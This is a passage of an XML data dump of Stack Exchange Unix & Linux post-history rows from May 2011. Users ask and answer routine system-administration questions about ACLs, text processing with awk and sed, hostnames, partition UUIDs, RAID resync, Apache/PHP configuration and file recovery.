bar&#xD;&#xA;    /mnt/acl/foo$ ls -la&#xD;&#xA;    total 3&#xD;&#xA;    drwxrwxr-x+ 2 faheem staff  1024 May  9 01:20 .&#xD;&#xA;    drwxr-xr-x  4 faheem faheem 1024 May  9 01:20 ..&#xD;&#xA;    -rw-rw----  1 faheem faheem    0 May  9 01:20 bar&#xD;&#xA;&#xD;&#xA;    # switch to user john&#xD;&#xA;&#xD;&#xA;    /mnt/acl/foo$ touch baz&#xD;&#xA;    /mnt/acl/foo$ ls -la&#xD;&#xA;    total 3&#xD;&#xA;    drwxrwxr-x+ 2 faheem staff  1024 May  9 01:22 .&#xD;&#xA;    drwxr-xr-x  4 faheem faheem 1024 May  9 01:20 ..&#xD;&#xA;    -rw-rw----  1 faheem faheem    0 May  9 01:20 bar&#xD;&#xA;    -rw-rw----  1 john   john      0 May  9 01:22 baz&#xD;&#xA;" />
  <row Id="31604" PostHistoryTypeId="5" PostId="12846" RevisionGUID="c77f8c3b-17f6-4fc5-bf8f-89af5cadc2f0" CreationDate="2011-05-08T20:05:57.503" UserId="4671" Comment="added 835 characters in body" Text="This question is a good fit for linux [acl](http://en.wikipedia.org/wiki/Access_control_list). Since you don't state your OS, I'll assume Linux in what follows. Here is an example session.&#xD;&#xA;&#xD;&#xA;I don't know of a really good acl tutorial, but you could do worse than http://www.vanemery.com/Linux/ACL/linux-acl.html&#xD;&#xA;&#xD;&#xA;Note that the default acl behaves like a local umask. Since at least in Linux, umasks are applied globally, this is the only way I know to get the effect of a local umask. For some reason this a little known feature. The net is littered with people asking about a local umask override, but almost nobody seems to think of using acl.&#xD;&#xA;&#xD;&#xA;Also note that you need to mount the partition you are working in with acl support, eg.&#xD;&#xA;&#xD;&#xA;    /dev/mapper/debian-acl /mnt/acl        ext3    defaults,acl        0       2&#xD;&#xA;&#xD;&#xA;Session follows:&#xD;&#xA;&#xD;&#xA;    /mnt/acl$ mkdir foo&#xD;&#xA;    /mnt/acl$ getfacl foo&#xD;&#xA;    # file: foo&#xD;&#xA;    # owner: faheem&#xD;&#xA;    # group: faheem&#xD;&#xA;    user::rwx&#xD;&#xA;    group::r-x&#xD;&#xA;    other::r-x&#xD;&#xA;&#xD;&#xA;Make group of foo as staff, and set acl of group &amp; user of foo to rwx.&#xD;&#xA;&#xD;&#xA;    /mnt/acl$ chgrp staff foo&#xD;&#xA;    /mnt/acl$ setfacl -R -m u::rwx,g::rwx foo&#xD;&#xA;    /mnt/acl$ getfacl foo&#xD;&#xA;    # file: foo&#xD;&#xA;    # owner: faheem&#xD;&#xA;    # group: staff&#xD;&#xA;    user::rwx&#xD;&#xA;    group::rwx&#xD;&#xA;    other::r-x&#xD;&#xA;&#xD;&#xA;Set default acl of user and group to rwx as well. This defines permissions that files and directories inherit from foo.&#xD;&#xA;&#xD;&#xA;    /mnt/acl$ setfacl -d --set u::rwx,g::rwx,o::- foo&#xD;&#xA;    /mnt/acl$ getfacl foo&#xD;&#xA;    # file: foo&#xD;&#xA;    # owner: faheem&#xD;&#xA;    # group: staff&#xD;&#xA;    user::rwx&#xD;&#xA;    group::rwx&#xD;&#xA;    other::r-x&#xD;&#xA;    default:user::rwx&#xD;&#xA;    default:group::rwx&#xD;&#xA;    default:other::---&#xD;&#xA;&#xD;&#xA;Now create some files in foo. Notice that both faheem and john's files are created with permissions rw.&#xD;&#xA;&#xD;&#xA;    /mnt/acl$ cd foo&#xD;&#xA;    /mnt/acl/foo$ touch bar&#xD;&#xA;    /mnt/acl/foo$ ls -la&#xD;&#xA;    total 3&#xD;&#xA;    drwxrwxr-x+ 2 faheem staff  1024 May  9 01:20 .&#xD;&#xA;    drwxr-xr-x  4 faheem faheem 1024 May  9 01:20 ..&#xD;&#xA;    -rw-rw----  1 faheem faheem    0 May  9 01:20 bar&#xD;&#xA;&#xD;&#xA;    # switch to user john&#xD;&#xA;&#xD;&#xA;    /mnt/acl/foo$ touch baz&#xD;&#xA;    /mnt/acl/foo$ ls -la&#xD;&#xA;    total 3&#xD;&#xA;    drwxrwxr-x+ 2 faheem staff  1024 May  9 01:22 .&#xD;&#xA;    drwxr-xr-x  4 faheem faheem 1024 May  9 01:20 ..&#xD;&#xA;    -rw-rw----  1 faheem faheem    0 May  9 01:20 bar&#xD;&#xA;    -rw-rw----  1 john   john      0 May  9 01:22 baz&#xD;&#xA;" />
  <row Id="31605" PostHistoryTypeId="5" PostId="12850" RevisionGUID="3fc47e52-5f21-4457-af64-080fb2802db2" CreationDate="2011-05-08T20:07:47.733" UserId="885" Comment="formatting" Text="I have the following scenario and my lack of linux knowledge doesn't help a lot.&#xD;&#xA;&#xD;&#xA;I have a text file that contains YML values, in the following matters:&#xD;&#xA;&#xD;&#xA;    coolregion:&#xD;&#xA;      min: {z: -99613.0, y: 45.0, x: -99805.0}&#xD;&#xA;      flags: {vehicle-place: allow}&#xD;&#xA;      max: {z: 100387.0, y: 127.0, x: 100195.0}&#xD;&#xA;      priority: 0&#xD;&#xA;      type: cuboid&#xD;&#xA;      owners:&#xD;&#xA;        groups: [jacob, eithan, michael]&#xD;&#xA;      members:&#xD;&#xA;        groups: [jack, noah]&#xD;&#xA;    niceregion:&#xD;&#xA;          min: {z: 544.0, y: 6.0, x: 184.0}&#xD;&#xA;      flags: {}&#xD;&#xA;      max: {z: 556.0, y: 13.0, x: 197.0}&#xD;&#xA;      priority: 0&#xD;&#xA;      type: cuboid&#xD;&#xA;      owners:&#xD;&#xA;        groups: [noah]&#xD;&#xA;      members:&#xD;&#xA;        groups: [logan, lucas, jack]&#xD;&#xA;&#xD;&#xA;I want to generate files for each name with the regions that he belongs to.&#xD;&#xA;&#xD;&#xA;For example `noah.txt` will contain `coolregion, niceregion` while `jacob.txt` will contain `coolregion` only.&#xD;&#xA;&#xD;&#xA;I know regex pretty well so I'd be also pleased if you only point me to the right direction (i.e. a script that only needs the regex to complete).&#xD;&#xA;&#xD;&#xA;If it matters, my linux version is &quot;Debian GNU/Linux 5.0&quot;.&#xD;&#xA;" />
  <row Id="31606" PostHistoryTypeId="6" PostId="12850" RevisionGUID="3fc47e52-5f21-4457-af64-080fb2802db2" CreationDate="2011-05-08T20:07:47.733" UserId="885" Comment="formatting" Text="étextöprocessingàéshellöscriptà" />
  <row Id="31607" PostHistoryTypeId="2" PostId="12851" RevisionGUID="4a0af13d-57e0-4810-a6d5-4dfd88d4ff46" CreationDate="2011-05-08T20:35:47.013" UserId="885" Text="Here's an awk solution. I don't know YML, so you may need to fiddle with the regexps (e.g. can the region marker be indented?). Note that the `print data &gt;filename` construct creates or truncates the file the first time it's reached for a given file name, and then appends to the file.&#xD;&#xA;&#xD;&#xA;    &lt;input.yml awk '&#xD;&#xA;    /^[^ :]+: *$/ {sub(/: *$/,&quot;&quot;); region=$0}     # start of region&#xD;&#xA;    /^ *groups:/ {                                # owner or member list&#xD;&#xA;        sub(/^[^:]*: *\[/, &quot;&quot;); sub(/\].*/, &quot;&quot;);  # extract bracketed names&#xD;&#xA;        split($0, names, / *, */);                # split comma-separated list&#xD;&#xA;        for (n in names)                          # iterate over names&#xD;&#xA;            print region &gt;names[n] &quot;.txt&quot;;        # write or append to name file&#xD;&#xA;    }'&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Don't take it too seriously, but here's a sed and shell solution.&#xD;&#xA;&#xD;&#xA;    &lt;input.yml sed -n -e '/^[^ ]/ h' \&#xD;&#xA;                      -e '/^ \+groups:/ {' \&#xD;&#xA;                        -e 'G' \&#xD;&#xA;                        -e 's/^[^:]*: *\[\(.*\)\]\n\(.*\):/\2,\1/' \&#xD;&#xA;                        -e 's/, \+/,/g' \&#xD;&#xA;                        -e 'p' -e '}' | (&#xD;&#xA;      IFS=,; set -f&#xD;&#xA;      while read -r region names; do&#xD;&#xA;        for name in $names; do&#xD;&#xA;          echo &quot;$region&quot; &gt;&gt;&quot;$name.txt&quot;&#xD;&#xA;        done&#xD;&#xA;      done&#xD;&#xA;    )&#xD;&#xA;" />
  <row Id="31608" PostHistoryTypeId="25" PostId="12842" RevisionGUID="0e143a0f-e08f-46a2-87b0-e677c2a6a6be" CreationDate="2011-05-08T21:11:33.257" Comment="http://twitter.com/#!/StackUnix/status/67335853462130690" />
  <row Id="31609" PostHistoryTypeId="2" PostId="12852" RevisionGUID="95961ca4-c93c-4f9b-9765-a66feb5c2fcd" CreationDate="2011-05-08T22:29:04.877" UserId="2974" Text="xralf asked:&#xD;&#xA;&gt; I got an idea to save the images to image clipboard  &#xD;&#xA;&gt; [...]  &#xD;&#xA;&gt; Is this possible in X Window System?&#xD;&#xA;&#xD;&#xA;The Unix haters handbook [says](http://www.art.net/~hopkins/Don/unix-haters/x-windows/disaster.html)&#xD;&#xA;&#xD;&#xA;&gt;  ICCCM compliance is one of the most complex ordeals of implementing X toolkits, window managers, and even simple applications. It's so difficult, that many of the benefits just aren't worth the hassle of compliance. And when one program doesn't comply, it screws up other programs. **This is the reason cut-and-paste never works properly with X** (unless you are cutting and pasting straight ASCII text)&#xD;&#xA;&#xD;&#xA;Those Unix-haters have a point - I can imagine this sort of thing may have contributed to Apple choosing not to use X-windows in OSX." />
  <row Id="31610" PostHistoryTypeId="2" PostId="12853" RevisionGUID="a6371146-9816-4cf3-a0e1-1c043c5eac28" CreationDate="2011-05-08T22:36:57.467" UserId="3629" Text="Drives supporting the &quot;Power-up in Standby&quot; feature are supposed to spin up as soon as they get a command that requires reading the disk.  So if your drive isn't spinning up when you do something like `dd if=/dev/hdX of=/dev/null count=512`, then I'd suspect that your disk controller or drive (or possibly BIOS, or Linux kernel version) doesn't fully support this feature.  To rule out the kernel, the `hdparm` man page recommends Linux 2.6.22 or later.&#xD;&#xA;&#xD;&#xA;References:&#xD;&#xA;&#xD;&#xA;* [A forum exchange that looks like it addresses your problem][1]&#xD;&#xA;* [&quot;Power-up in Standby&quot; feature proposal / specification][2]&#xD;&#xA;* [`man hdparm`][3] (look at the `-s` option)&#xD;&#xA;&#xD;&#xA;  [1]: http://lime-technology.com/forum/index.php?action=printpage;topic=2013.0&#xD;&#xA;  [2]: http://ftp.t10.org/ftp/t13/technical/d97150r0.pdf&#xD;&#xA;  [3]: http://man.he.net/man8/hdparm" />
  <row Id="31611" PostHistoryTypeId="2" PostId="12854" RevisionGUID="b48ac855-9ed0-4897-8fe8-40782d6fc42f" CreationDate="2011-05-08T23:46:00.013" UserId="7328" Text="FreeBSD - maximum flexibility, functions, lots of programs, lots of manuals. Easy to install following instructions. Easy to install any programs." />
  <row Id="31612" PostHistoryTypeId="5" PostId="12832" RevisionGUID="5ccc8b72-92a7-4943-87bc-9620f28db0ee" CreationDate="2011-05-09T00:03:01.743" UserId="138" Comment="added nano command example, and clarified Ubuntu comparison para" Text="On RHEL and derivatives like CentOS, you need to edit two files to change the hostname.&#xD;&#xA;&#xD;&#xA;The system sets its hostname at bootup based on the `HOSTNAME` line in `/etc/sysconfig/network`. The `nano` text editor is installed by default on RHEL and its derivatives, and its usage is self-evident:&#xD;&#xA;&#xD;&#xA;    # nano /etc/sysconfig/network&#xD;&#xA;&#xD;&#xA;You also have to change the name in the `/etc/hosts` file. If you do not, certain commands will suddenly start taking longer to run. They are trying to find the local host IP from the hostname, and without an entry in `/etc/hosts`, it has to go through the full network name lookup process before it can move on. Depending on your DNS setup, this can mean delays of a minute or so!&#xD;&#xA;&#xD;&#xA;Having changed those two files, you can either run the `hostname` command to change the run-time copy of the hostname (which again, was set from `/etc/sysconfig/network`) or just reboot.&#xD;&#xA;&#xD;&#xA;Ubuntu differs in that the static copy of the hostname is stored in `/etc/hostname`. For that matter, many aspects of network configuration are stored in different places and with different file formats on Ubuntu as compared to RHEL." />
  <row Id="31613" PostHistoryTypeId="25" PostId="12850" RevisionGUID="bf97e9d7-9d8d-4bda-ab47-07acab4f63b9" CreationDate="2011-05-09T00:11:33.990" Comment="http://twitter.com/#!/StackUnix/status/67381154969432064" />
  <row Id="31614" PostHistoryTypeId="2" PostId="12855" RevisionGUID="57e0b366-a26d-41c6-8314-b7612d5d7092" CreationDate="2011-05-09T01:05:00.383" UserId="6889" Text="One more nuance that may be helpful in the future: If you're in a screen session, you can interactively ask for the log file to be created. Use the C-A C-H (Control-A then Control-H) keystroke to ask screen to start dumping whatever window you're in to a log file." />
  <row Id="31618" PostHistoryTypeId="17" PostId="12859" RevisionGUID="da2fbe08-147e-47f9-b5a7-c46e36a47aba" CreationDate="2011-05-09T02:18:12.790" UserId="-1" Comment="from http://stackoverflow.com/questions/5877806/how-to-change-partition-uuid-2-same-uuid/5878050#5878050" Text="" />
  <row Id="31619" PostHistoryTypeId="2" PostId="12859" RevisionGUID="7937fa8a-fc3e-48ae-99ee-b74b1161b9dd" CreationDate="2011-05-04T03:07:46.903" UserId="5931" Text="Assuming it is an ext2-family filesystem:&#xD;&#xA;&#xD;&#xA;    uuidgen&#xD;&#xA;    tune2fs -U &lt;output of uuidgen&gt; /dev/sdb1&#xD;&#xA;&#xD;&#xA;Or if you're confident uuidgen is going to work:&#xD;&#xA;&#xD;&#xA;    tune2fs -U `uuidgen` /dev/sdb1&#xD;&#xA;&#xD;&#xA;The UUID is stored in the superblock, so a byte-for-byte copy of the filesystem will have the same UUID." />
  <row Id="31620" PostHistoryTypeId="2" PostId="12858" RevisionGUID="8456f502-8d7c-4573-a751-c141ec6dfb9c" CreationDate="2011-05-04T02:29:16.290" UserDisplayName="LiuYan 刘研" Text="I have a fedora guest OS in VMware. I want to expand `/boot` partition, so I add another virtual disk to this VM, and try to clone the disk.&#xD;&#xA;&#xD;&#xA;After `dd if=/dev/sda1 of=/dev/sdb1`, `blkid` report that **/dev/sda1** and **/dev/sdb1** have same UUID/GUID.&#xD;&#xA;&#xD;&#xA;It's weird that there're 2 same UUIDs in the universe, how to change one of them to another UUID value?" />
  <row Id="31621" PostHistoryTypeId="1" PostId="12858" RevisionGUID="8456f502-8d7c-4573-a751-c141ec6dfb9c" CreationDate="2011-05-04T02:29:16.290" UserDisplayName="LiuYan 刘研" Text="How to change partition UUID (2 same UUID)?" />
  <row Id="31622" PostHistoryTypeId="3" PostId="12858" RevisionGUID="8456f502-8d7c-4573-a751-c141ec6dfb9c" CreationDate="2011-05-04T02:29:16.290" UserDisplayName="LiuYan 刘研" Text="élinuxàéfedoraàépartitionàéddà" />
  <row Id="31623" PostHistoryTypeId="17" PostId="12858" RevisionGUID="804fd539-85c1-4a97-a347-770c5f1b625c" CreationDate="2011-05-09T02:18:12.790" UserId="-1" Comment="from http://stackoverflow.com/questions/5877806/how-to-change-partition-uuid-2-same-uuid" Text="" />
  <row Id="31624" PostHistoryTypeId="10" PostId="6007" RevisionGUID="eefc4be1-b808-4d63-a06e-e866a128f1ed" CreationDate="2011-05-09T02:41:12.910" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="31627" PostHistoryTypeId="25" PostId="12848" RevisionGUID="3952eb87-49e8-4cc6-903c-2888bd72322f" CreationDate="2011-05-09T03:11:34.373" Comment="http://twitter.com/#!/StackUnix/status/67426453972717568" />
  <row Id="31628" PostHistoryTypeId="2" PostId="12860" RevisionGUID="3c4b1c4f-2bf0-4718-a465-457c0d6c3bbd" CreationDate="2011-05-09T03:18:45.807" UserId="3258" Text="I would recommend using a tool like [http://www.cgsecurity.org/wiki/TestDisk](http://www.cgsecurity.org/wiki/TestDisk) which has helped me in the past to find and recover deleted files, or I would recommend looking to see who uploaded the files most recently in the past." />
  <row Id="31629" PostHistoryTypeId="2" PostId="12861" RevisionGUID="f501c473-4f01-4fc6-aaa1-0ffa2834aac2" CreationDate="2011-05-09T03:22:04.623" UserId="4856" Text="Do yourself a favor and pick a distro with an active support community such as Fedora or Ubuntu. For some one with little experience (or a lot) it can be an invaluable tool. Most likely someone else has had your same (or a similar) problem. With Fedora I regularly use sites such as fedoraforum.org and stackexchange sites (of course).&#xD;&#xA;&#xD;&#xA;They all can perform those functions for the most part, but something like Fedora is always easy to recommend." />
  <row Id="31630" PostHistoryTypeId="2" PostId="12862" RevisionGUID="ea63afa1-ae24-49f2-8e3e-db6049f5403d" CreationDate="2011-05-09T04:41:17.847" UserId="1375" Text="In Mac OS X, I could use the Activity Monitor program to see if a running program/process is 64-bit. How do I do that in a Linux OS, regardless of flavour? Thanks." />
  <row Id="31631" PostHistoryTypeId="1" PostId="12862" RevisionGUID="ea63afa1-ae24-49f2-8e3e-db6049f5403d" CreationDate="2011-05-09T04:41:17.847" UserId="1375" Text="How to tell if a running program is 64-bit in Linux?" />
  <row Id="31632" PostHistoryTypeId="3" PostId="12862" RevisionGUID="ea63afa1-ae24-49f2-8e3e-db6049f5403d" CreationDate="2011-05-09T04:41:17.847" UserId="1375" Text="éprocessàé64bità" />
  <row Id="31633" PostHistoryTypeId="2" PostId="12863" RevisionGUID="605e40f8-1ffc-423e-acbe-da7967f5eb2d" CreationDate="2011-05-09T05:05:13.753" UserId="6151" Text="You can use the `file` command to check out what format the executable file has.&#xD;&#xA;&#xD;&#xA;eg:&#xD;&#xA;&#xD;&#xA;    $ file /bin/bash&#xD;&#xA;    /bin/bash: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.9, stripped" />
  <row Id="31634" PostHistoryTypeId="2" PostId="12864" RevisionGUID="e7fc54bb-1cbc-4c1f-a516-5e6cf75570f7" CreationDate="2011-05-09T05:32:26.707" UserId="2914" Text="I have a test.php file in webserver directory with php phpinfo();  content. when I try to execute #php test.php then it executes correctly. But when I try to open in web browser then it shows php phpinfo(); . How cab I troubleshoot apache2 and php5 in Unix machine??&#xD;&#xA;" />
  <row Id="31635" PostHistoryTypeId="1" PostId="12864" RevisionGUID="e7fc54bb-1cbc-4c1f-a516-5e6cf75570f7" CreationDate="2011-05-09T05:32:26.707" UserId="2914" Text="apche2 and php5 not working" />
  <row Id="31636" PostHistoryTypeId="3" PostId="12864" RevisionGUID="e7fc54bb-1cbc-4c1f-a516-5e6cf75570f7" CreationDate="2011-05-09T05:32:26.707" UserId="2914" Text="élinuxà" />
  <row Id="31637" PostHistoryTypeId="2" PostId="12865" RevisionGUID="d0284d62-dd76-4c15-8bb1-64950e68fc66" CreationDate="2011-05-09T05:35:55.877" UserId="7335" Text="Hi&#xD;&#xA;&#xD;&#xA;I had a CentOS server with RAID5. Every time RAID5 is re-syncing my server stop working. Hosting company stopped httpd service so RAID5 can re-sync itself. A process with take long 3-4 hours.&#xD;&#xA;&#xD;&#xA;The problem reoccur many times, so the Hosting company swap my server hardware and I migrated to new hardware. Now I still has this problem (in the new server)&#xD;&#xA;&#xD;&#xA;Is this something normal in RAID5? How can we solve this issue permanently. If everytime RAID5 want to re-sync my server overload and my website will not be accessible, then RAID5 sucks.&#xD;&#xA;&#xD;&#xA;I really appreciate if you can tell me what is solution for this disaster?&#xD;&#xA;&#xD;&#xA;Here is /proc/mdstat report:&#xD;&#xA;&#xD;&#xA;    root@host [~]# watch 'cat /proc/mdstat'&#xD;&#xA;    Every 2.0s: cat /proc/mdstat                            Mon May  9 01:25:30 2011&#xD;&#xA;    &#xD;&#xA;    Personalities : [raid1]&#xD;&#xA;    md0 : active raid1 xvda1[0] xvdb1[1]&#xD;&#xA;          104320 blocks [2/2] [UU]&#xD;&#xA;    &#xD;&#xA;    md1 : active raid1 xvda2[0] xvdb2[1]&#xD;&#xA;          2096384 blocks [2/2] [UU]&#xD;&#xA;    &#xD;&#xA;    md2 : active raid1 xvda5[0] xvdb5[1]&#xD;&#xA;          484086528 blocks [2/2] [UU]&#xD;&#xA;          [=====&gt;...............]  resync = 29.5% (142978880/484086528) finish=77.7m&#xD;&#xA;    in speed=73108K/sec&#xD;&#xA;    &#xD;&#xA;    unused devices: &lt;none&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31638" PostHistoryTypeId="1" PostId="12865" RevisionGUID="d0284d62-dd76-4c15-8bb1-64950e68fc66" CreationDate="2011-05-09T05:35:55.877" UserId="7335" Text="Problem with RAID5" />
  <row Id="31639" PostHistoryTypeId="3" PostId="12865" RevisionGUID="d0284d62-dd76-4c15-8bb1-64950e68fc66" CreationDate="2011-05-09T05:35:55.877" UserId="7335" Text="écentosàéraid5à" />
  <row Id="31640" PostHistoryTypeId="2" PostId="12866" RevisionGUID="a3da3851-237d-4a5c-bfaf-2efbc9d1b123" CreationDate="2011-05-09T05:59:37.133" UserId="6167" Text="RAID should only resync after a server crash or replacing a failed disk.  It's always recommended to use a UPS and set the system to shutdown on low-battery so that a resync won't be required on reboot.  NUT or acpupsd can talk to many UPSes and initiaite a shutdown before the UPS is drained.  If the server is resyncing outside of a crash, you probably have a hardware issue.  Check the kernel log at `/var/log/kern.log` or by running `dmesg`.  I also recommend setting up `mdadm` to email the adminstrator and running `smartd` on all disk drives similarly set up to email the administrator.  I receive an email about half the time before I see a failed disk.  If you are having unavoidable crashes, you should enable a write-intent bitmap on the RAID.  This keeps a journal of where the disk is being written to and avoids a full re-sync on reboot.  Enable it with:&#xD;&#xA;&#xD;&#xA;    mdadm -G /dev/md0 --bitmap=internal" />
  <row Id="31641" PostHistoryTypeId="5" PostId="12864" RevisionGUID="2f3f96a6-c36a-4f72-963c-9c8a1e711211" CreationDate="2011-05-09T06:03:44.713" UserId="6167" Comment="improved formatting" Text="I have a test.php file in the web server directory with `php phpinfo();`  content. When I try to execute `php test.php` at a shell then it executes correctly. But when I try to open the web page in a browser, it shows `php phpinfo();`. How can I troubleshoot Apache 2 and PHP 5 on my UNIX machine?" />
  <row Id="31642" PostHistoryTypeId="4" PostId="12864" RevisionGUID="2f3f96a6-c36a-4f72-963c-9c8a1e711211" CreationDate="2011-05-09T06:03:44.713" UserId="6167" Comment="improved formatting" Text="Apache 2 and PHP 5 not working" />
  <row Id="31643" PostHistoryTypeId="6" PostId="12864" RevisionGUID="2f3f96a6-c36a-4f72-963c-9c8a1e711211" CreationDate="2011-05-09T06:03:44.713" UserId="6167" Comment="improved formatting" Text="élinuxàéapacheàéphpà" />
  <row Id="31644" PostHistoryTypeId="2" PostId="12867" RevisionGUID="b72cb18c-5224-43c2-b442-d9d6bde17943" CreationDate="2011-05-09T06:05:17.457" UserId="6167" Text="I think you need to wrap your code in `&lt;?php ... ?&gt;`.  Try this file:&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    phpinfo();&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;By default, the contents of a PHP file are HTML that is sent untouched out to the browser.  The markers `&lt;?php` and `?&gt;` mark the start and end of PHP code that is interpreted by PHP." />
  <row Id="31645" PostHistoryTypeId="25" PostId="12864" RevisionGUID="f0d5876d-81b9-41ba-9200-832dc6660535" CreationDate="2011-05-09T06:11:33.577" Comment="http://twitter.com/#!/StackUnix/status/67471749939339264" />
  <row Id="31646" PostHistoryTypeId="6" PostId="12858" RevisionGUID="8325aa9c-257f-43d6-9584-f681b5d8f352" CreationDate="2011-05-09T06:56:34.903" UserId="885" Comment="edited tags" Text="élinuxàéfilesystemsàécloningà" />
  <row Id="31647" PostHistoryTypeId="2" PostId="12868" RevisionGUID="edd1e3d9-d1f5-4ec7-b7a2-cd9b20fe05af" CreationDate="2011-05-09T07:11:59.767" UserId="4949" Text="As @penguin359 pointed out, php won't interpret anything in a html page that isn't bracketed with `&lt;?` ... `?&gt;` at the very least.&#xD;&#xA;&#xD;&#xA;If it still doesn't work after you've tried that, the first thing you should probably do is check your server's access and error logs (by default in `/var/log/apache2/access.log and /var/log/apache2/error.log` unless your distribution does something wonky; check the config files in `/etc/apache2/ for the `AccessLog` and `ErrorLog` directives), then continue troubleshooting depending on what exactly they say. &#xD;&#xA;&#xD;&#xA;If the page was accessed and no error reported, it means that the server for some reason didn't find it necessary to fire up the php parser, most likely because of a config error. &#xD;&#xA;&#xD;&#xA;There are several different ways for the php parser to be called by apache; the two most common ones are via the dynamically loaded php module, or via CGI.&#xD;&#xA;&#xD;&#xA;If it's (supposed to be) loaded via `mod_php` then your config file should contain a directive looking something like  &#xD;&#xA;&#xD;&#xA;`LoadModule php5_module /usr/lib/apache2/modules/libphp5.so`  &#xD;&#xA;in it, as well as directives instructing it to let the php5 module handle .php pages, likely something like this: &#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_php5.c&gt;&#xD;&#xA;      AddType application/x-httpd-php .php .phtml .php3 .php5&#xD;&#xA;      AddType application/x-httpd-php-source .phps&#xD;&#xA;      php_admin_flag register_globals off&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;with slight variances possible depending on how your distribution handles apache2 configuration.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If it's called via cgi instead -- generally a better option because it allows for a threaded server as well as nifty stuff like [SuEXEC][1] -- then you should again check your apache config files and look for lines saying something like  &#xD;&#xA;`AddHandler fcgid-script .php .php5`  &#xD;&#xA;&#xD;&#xA;which tell the server how to handle files ending with `.php` or `.php5`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Again, though, exactly what is wrong with your server -- assuming that it's more than just the original failure to bracket your .php file with `&lt;? ... ?&gt;` -- is hard to guess without a look at the access and error logs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.0/suexec.html" />
  <row Id="31648" PostHistoryTypeId="2" PostId="12869" RevisionGUID="4e1dcb13-ba52-41c1-a09d-9a357db32e80" CreationDate="2011-05-09T07:18:16.157" UserId="4843" Text="For your requirement, I will suggest you to go with [dsl][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.damnsmalllinux.org/index.html" />
  <row Id="31650" PostHistoryTypeId="2" PostId="12871" RevisionGUID="a8085313-8994-45be-ad19-45c50b268524" CreationDate="2011-05-09T07:32:00.963" UserId="7226" Text="I heartily recommend [Puppy Linux][1] in on of its many derivatives: I use it every day on my computers and found it will simply work, easily.&#xD;&#xA;&#xD;&#xA;It has all what you ask and works on most hardware also where many other distro fail.&#xD;&#xA;&#xD;&#xA;Not recommended if you are scared to running always as root tho...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Puppy_Linux" />
  <row Id="31651" PostHistoryTypeId="5" PostId="12871" RevisionGUID="02e3dc7b-23e6-4c4d-85d2-1044f517d098" CreationDate="2011-05-09T07:38:44.427" UserId="7226" Comment="added 80 characters in body" Text="I heartily recommend [Puppy Linux][1] in on of its many derivatives: I use it every day on my computers and found it will simply work, easily.&#xD;&#xA;&#xD;&#xA;Also it will fully load in RAM so you don't have to bother with drive speed.&#xD;&#xA;&#xD;&#xA;It has all what you ask and works on most hardware also where many other distro fail.&#xD;&#xA;&#xD;&#xA;Not recommended if you are scared to running always as root tho...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Puppy_Linux" />
  <row Id="31652" PostHistoryTypeId="2" PostId="12872" RevisionGUID="8cad66d9-5a70-4a1d-b809-5cd863d33191" CreationDate="2011-05-09T08:28:06.817" UserId="7067" Text="Have a look at http://www.pendrivelinux.com/ -- they have an installer for putting just about any Linux distro on a USB drive." />
  <row Id="31653" PostHistoryTypeId="2" PostId="12873" RevisionGUID="ef645410-3d1a-4954-ae09-b601689db6ab" CreationDate="2011-05-09T08:55:34.083" UserId="3384" Text="There are tools. (sorry i posted wrong link, i'm updating right now)&#xD;&#xA;&#xD;&#xA;I must say that even recovering system files that will be damaged hard! I did formated my girlfriends HDD and then tried to restore it. It took ~12 hours and i saved ~3% of files because i left it [HDD] running. As soon as you do the mistake it need to unplug/unmount that HDD. As one of the people in here said - give the job to the professionals. They could restore much more.&#xD;&#xA;&#xD;&#xA;To *prevent* such mistakes i strongly suggest to use `trash-cli` (`sudo apt-get install trash-cli`), and append `alias rm='trash'` line to `.bashrc` file in home file. After this all your files that are deleted with `rm` will be stored in trash bin not completely deleted. &#xD;&#xA;&#xD;&#xA;P.S. I haven't mentioned backups and version control systems because it's common practice and everybody else mentioned it. From my point of view - just use it and listen what people say here." />
  <row Id="31654" PostHistoryTypeId="5" PostId="12873" RevisionGUID="fba26479-7690-4228-b8a1-30f5d32ca1b8" CreationDate="2011-05-09T09:02:35.823" UserId="3384" Comment="added 139 characters in body; added 15 characters in body" Text="There are tools. There is specialized distro for that, but i think list of programs they use should do. If you want distro it self just press download on the left panel. http://www.sysresccd.org/System-tools#recovery_tools&#xD;&#xA;&#xD;&#xA;I must say that even recovering system files that will be damaged hard! I did formated my girlfriends HDD and then tried to restore it. It took ~12 hours and i saved ~3% of files because i left it [HDD] running. As soon as you do the mistake it need to unplug/unmount that HDD. As one of the people in here said - give the job to the professionals. They could restore much more.&#xD;&#xA;&#xD;&#xA;To *prevent* such mistakes i strongly suggest to use `trash-cli` (`sudo apt-get install trash-cli`), and append `alias rm='trash'` line to `.bashrc` file in home file. After this all your files that are deleted with `rm` will be stored in trash bin not completely deleted. &#xD;&#xA;&#xD;&#xA;P.S. I haven't mentioned backups and version control systems because it's common practice and everybody else mentioned it. From my point of view - just use it and listen what people say here." />
